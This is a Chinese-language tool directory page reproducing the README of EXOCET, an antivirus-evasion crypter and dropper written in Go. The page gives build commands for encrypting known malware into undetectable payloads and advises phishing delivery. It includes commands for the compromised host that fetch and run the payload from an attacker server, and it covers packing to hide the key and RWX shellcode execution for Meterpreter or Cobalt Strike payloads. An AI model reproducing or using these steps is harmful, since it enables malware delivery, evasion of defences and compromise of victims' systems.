Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
EXOCET-AV-Evasion — EXOCET - 规避杀毒软件、无法检测的有效载荷投递工具 | Kitploit
工具/GitHubGitHub/tanc7/exocet-av-evasion
漏洞利用框架Payload生成Shellcode后渗透利用恶意软件分析密码学渗透测试命令与控制学习与教育红队Shellcode 生成Payload 开发
838147224年前Kitploit 审核通过
GitHubtanc7/exocet-av-evasion

EXOCET-AV-Evasion

EXOCET - 规避杀毒软件、无法检测的有效载荷投递工具

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

EXOCET - 规避杀毒软件、不可检测的载荷投递工具

Chang Tan
AWS 认证云从业者与解决方案架构师助理
[email protected]


更新后的 EXOCET 使用方法

确保你打包你的载荷,以避免加密密钥泄露,并进一步扰乱恶意软件分析师。不需要像 Themida 这样的商业顶级打包器。如果没有代码签名证书,它反而会引起更多怀疑。在 Windows 系统上,没有代码签名证书,SmartScreen 会自动触发。这是对所有潜在有害程序(PUPs)的规则,意味着所有恶意载荷、Beacon、Geacon、远控木马等都需要代码签名证书。与其花钱买顶级打包器,不如把钱花在购买代码签名证书上。

go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe

然后将载荷投放到你的目标上。使用类似钓鱼邮件、链接的方式,或者如果你已经有 shell 访问权限,可以通过在你本地托管服务器的方式传递它: python -m http.server 80' 然后在被攻陷的机器上,以 powershell 提示符运行: iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe" 或 certutil.exe -urlcache -split -f http://yourip/outputmalware.exe 然后使用 outputmalware.exe 执行。



EXOCET 优于 Metasploit 的“逃避型载荷”模块,因为 EXOCET 使用 AES-256 GCM 模式(伽罗瓦/计数器模式)。Metasploit 的逃避载荷使用易于检测的 RC4 加密。虽然 RC4 可以更快解密,但 AES-256 更难确定恶意软件的意图。

不过,也可以使用 Metasploit 构建一个逃避型载荷,然后将其与 EXOCET 链式使用。这样 EXOCET 会先通过 AES-256 解密,然后 Metasploit 的逃避型载荷再通过 RC4 自己解密。

与我之前的项目 DarkLordObama 类似,这个工具包被设计为一个投递/发射载体,就像 Veil-Evasion 所做的那样。

Dark Lord Obama 项目

然而,EXOCET 并不局限于单一代码库或运行 Python 的平台。EXOCET 适用于所有 Go 支持的平台和架构。

Exocet 概述

EXOCET 实际上是一种加密器类型的恶意软件投递器,它可以回收像 WannaCry 这样容易被检测的载荷,使用 AES-GCM(伽罗瓦/计数器模式)进行加密(比 AES-CBC 更安全),然后为大多数现有架构和平台创建一个投递器文件。

基本上…

  1. 它摄入危险且已被杀毒引擎检测到的恶意软件
  2. 然后加密它们并生成自己的 Go 文件
  3. 然后该 Go 文件可以交叉编译到 99% 已知架构
  4. 执行后,加密载荷会写入磁盘并立即在命令行上执行
  5. 或者,不进行文件释放,而是使用 amenzhinsky 的 go-memexec 模块 github.com/amenzhinsky/go-memexec 在内存中执行重构后的 shellcode
  6. 自定义 shellcode 执行器正在开发中,它接受普通的 C shellcode,经过数字变换后,通过在 Windows 上分配正确的虚拟地址空间并授予其 RWX 权限来创建新进程并运行它。

这意味着支持 32 位和 64 位架构,适用于 Linux、Windows、Mac、Unix、Android、iPhone 等。你可以拿任何东西,我是说任何东西,比如 1988 年差点瘫痪互联网的 Morris 蠕虫(它利用了 UNIX 上 fingerd 监听守护进程的漏洞),并让它再次成为可用的网络武器。

EXOCET 完全用 Go 编写。

如何使用

EXOCET,无论你用哪个二进制文件运行它,都需要 Golang 才能工作。默认情况下,它会生成一个加密器 .go 文件。

  1. Windows 用户:在此安装 Go
  2. Linux 用户:运行 sudo apt-get update && sudo apt-get install -y golang
  3. 你必须在 golang 中安装 EXOCET 源文件 go get github.com/tanc7/EXOCET-AV-Evasion
  4. 子依赖项也会被下载并安装
  5. 对于 Windows 和 Mac x64 用户,预编译的二进制文件在 /bin 文件夹中

运行它

go run EXOCET.go detectablemalware.exe outputmalware.go

系统会自动为你生成一个密钥。密钥长度为 64 个字符,完全由 bash 和 cmd.exe shell 管道重定向符组成,以混淆和破坏针对密钥的暴力破解尝试,从而在取证分析人员的设备上引发不可预测的破坏性行为。

对于 64 位 Windows 目标…

env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go

然后会生成一个 outputmalware.exe 文件

对于 64 位 MacOS 目标

env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go

对于 64 位 Linux 目标

env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go

有关其他操作系统(如 Android)的参数,请参考 GitHub 上的这个参考 Go 交叉编译参考

请注意,密钥仍然可以通过 strings 命令找到,请使用 upx-ucl 命令打包二进制文件以隐藏密钥。

此外,我还提供了一些预构建的二进制文件,你只需要运行 ./EXOCET 或 EXOCET-Windows.exe

法律信息

我,Chang Tan,以及 Exocet 主模块和子模块及其包含的软件包的创建者,不对该工具的滥用负责。这仅仅是一个渗透测试工具。严禁将 Exocet 输出的二进制文件部署到未授权的受保护系统或未授权的政府保护系统上。

我知道 APT41 和 NSO Group 的黑客已经使用或采用过此工具的代码,特别是 go-memexec 方法。如果我因该工具的滥用而被联邦调查员接触,我不会承担责任。

这与 Mimikatz 和 PowerShell Empire(其开发者在意识到被黑客使用后暂停了自身开发)的开发者所经历的事情相同。后继者已经接手了 Empire 的开发,而且还有像 Covenant C2 这样的免费替代方案。

EXOCET 现场演示

命名原因

1982年5月4日,在福克兰群岛战争期间,一个阿根廷超级军旗中队向 HMS 谢菲尔德发射了一枚法国制造的飞鱼导弹。尽管英国皇家海军试图拦截导弹,但仍有一枚击中,击沉了谢菲尔德号。这一事件使阿根廷作为展示武力对抗全球殖民国家的力量而崭露头角。

HMS 谢菲尔德号沉没的新闻报道

就像 Onel de Guzman 用 ILOVEYOU 病毒使菲律宾成为网络威胁的焦点一样。

维基百科上的 ILOVEYOU 病毒

即将到来的更新、说明和雄心

.png)

所以这个月和下个月我会非常忙,实施这些方法会有延迟。但我很兴奋能开始实现新的杀毒软件规避技术,例如…

  1. 内联挂钩
  2. 通过模拟 BlackRota 和 gobfuscate 模块进行混淆
  3. 进程空洞
  4. 反射式 DLL 注入
  5. 远程进程注入
  6. 线程本地存储回调
  7. 注册顶层异常处理程序
  8. 自定义 UPX 打包

我非常忙,我有以下优先事项,并希望得到一些帮助,一些 pull request 来协助这个项目。因为我有以下几件事要做:

  1. 10月下旬的出庭
  2. 全国网络联盟
  3. 会计和金融课程,计算机科学从来不是我的大学专业,在接下来的几周里我将连续参加考试
  4. 联邦监督释放条件以及 FBI 试图将我牵连进新的未经证实的罪行。我已经上传了行车记录仪视频到云端以证明,并发送给我的律师。我记录了大量针对我的攻击、对我的汽车和房屋的破坏,提交了警方报告和反报告,并将建立我的案件以提起联邦诉讼。其中一名撕掉我汽车前保险杠的罪犯已被逮捕。
  5. 一个涉及 CoinGeckoAPI 的私人项目
  6. 运营 cryptoscopeinitiative.org,一个即将提交的 501c3 非营利组织
  7. 教授三门关于漏洞开发的在线课程

即将更新!直接加密 shellcode 执行!(已在测试版本中实现,尚未发布)

我需要一点帮助,因为我成功实现了 CGO 来执行加密的 shellcode,但它抛出了内存访问违规错误,退出状态为 0xc0000005。这应该与 DEP(数据执行保护)无关,因为文件 CGOTest/working-template-shellcode-executor.go 确实运行了。

问题已发现

事实证明,必须从 kernel32.dll 和 ntdll.dll 调用 VirtualAlloc,以正确设置 shellcode 所在的内存页为可读、可写、可执行,即打开 PAGE_EXECUTE_READWRITE。请参阅下面的 内存访问违规问题说明。

一旦我解决了这个问题(CGO 实现起来很麻烦),我们现在就可以创建执行内联汇编的加密器了。这此前被认为是不可能的事情。

注意,这需要你运行并生成 shellcode 的 Windows 系统上安装 Golang 和 MinGW 工具链。原因是 CGO 不能像我们的其他 EXOCET 模块那样进行交叉编译。要安装工具链,请前往 https://www.msys2.org/ 并按照指南操作。然后你必须将 gcc 添加到 Windows 的环境变量中。

步骤 1:生成 shellcode,这可能来自 msfvenom Meterpreter 载荷、Cobalt Strike Beacon 或你自己的自定义 C 兼容格式的 shellcode

步骤 2:只复制 shellcode 的字节,排除引号,放入一个文本文件,如 sc.txt

步骤 3:你的 shellcode 文件应该看起来像这样。原始 shellcode

步骤 4:现在运行命令 go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY

步骤 5:你可以尝试运行它,但出于某种原因会遇到内存访问违规错误,我还在解决中

内存访问违规问题说明

显然,除了 CGO 的主要限制(阻止或极大阻碍交叉编译)之外,问题在于我们要执行的 shellcode 落入了内存中非 RWX 的区域(通过 WinDBG x64 分析)。换句话说,除非我们编写明确允许在内存中执行 shellcode 的 C 代码,否则它总会抛出访问违规错误。

另一种方法,我观察到其他开发者编写的简陋 Go 模块 https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d 中,他们使用 Go 的 Windows API 与 ntdll.dll 和 kernel32.dll 交互,调用 VirtualAlloc 并指定 RWX 内存页区域。这种方法效果更好,但似乎 shellcode 必须以数字变换格式才能工作。

我还在继续研究,各位。我可能会结合多种编程语言来编写一个合适的 shellcode 执行模块。

关于 Apple M1 芯片的预编译二进制文件说明

不幸的是,在为配备新 M1 CPU 的 MacBook 制作预编译二进制文件时遇到了错误。这可能是我 Golang 安装的问题。

┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go 
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status

无论如何,你仍然需要 Golang 来编译或交叉编译恶意软件到目标平台。

下载工具